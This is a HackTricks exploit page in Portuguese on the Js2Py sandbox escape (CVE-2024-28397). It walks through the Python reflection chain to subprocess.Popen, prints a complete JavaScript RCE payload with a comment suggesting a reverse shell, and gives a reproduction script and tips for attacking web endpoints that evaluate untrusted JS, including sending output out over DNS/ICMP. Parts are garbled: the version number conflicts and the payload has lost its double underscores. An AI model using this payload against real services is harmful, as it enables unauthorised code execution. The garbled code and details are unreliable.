Js2Py sandbox escape (CVE-2024-28397)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Js2Py traduz JavaScript em objetos Python, então mesmo quando js2py.disable_pyimport() é usado, JS não confiável pode percorrer os internos do Python para alcançar classes perigosas como subprocess.Popen. Versões 20.74 permitem abusar dos primitivos de reflexão do Python que o Js2Py expõe a objetos JS para obter RCE a partir de JavaScript “sandboxed”.

Primitiva: pivot de wrappers de objeto JS para objetos Python

  1. Obtenha um objeto suportado por Python: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recupere o acesso a atributos: pegue .__getattribute__ desse objeto e chame-o para ler atributos arbitrários (por exemplo, "__class__").
  3. Suba até object: a partir de <class 'dict_keys'> leia .__base__ para alcançar o object base do Python.
  4. Enumere classes carregadas: chame object.__subclasses__() para percorrer todas as classes já carregadas no interpretador.
  5. Encontre subprocess.Popen: pesquise recursivamente subclasses onde __module__ == "subprocess" e __name__ == "Popen".
  6. Execute um comando: instancie Popen com argumentos controlados pelo atacante e invoque .communicate() para capturar a saída.
Payload de exemplo abusando do Js2Py para alcançar subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Por que isso funciona: Js2Py expõe envelopamentos de objetos Python para JS sem remover `__getattribute__`, `__class__`, `__base__` ou `__subclasses__`. `disable_pyimport()` bloqueia apenas `pyimport` explícito, mas a cadeia acima nunca importa nada novo; ela reutiliza módulos e classes já carregados na memória.

## Reproduzindo a cadeia localmente
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Operando contra web sandboxes

  • Qualquer endpoint que alimente JS controlado pelo atacante em js2py.eval_js (por exemplo, uma API Flask /run_code) é imediatamente RCE se o usuário do processo tiver acesso ao shell.
  • Retornar jsonify({'result': result}) falhará quando .communicate() retornar bytes; decodifique ou direcione a saída para DNS/ICMP para evitar bloqueadores de serialização.
  • disable_pyimport() não mitiga esta cadeia; isolamento rígido (processo/container separado) ou remover a execução de código não confiável pelo Js2Py é necessário.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks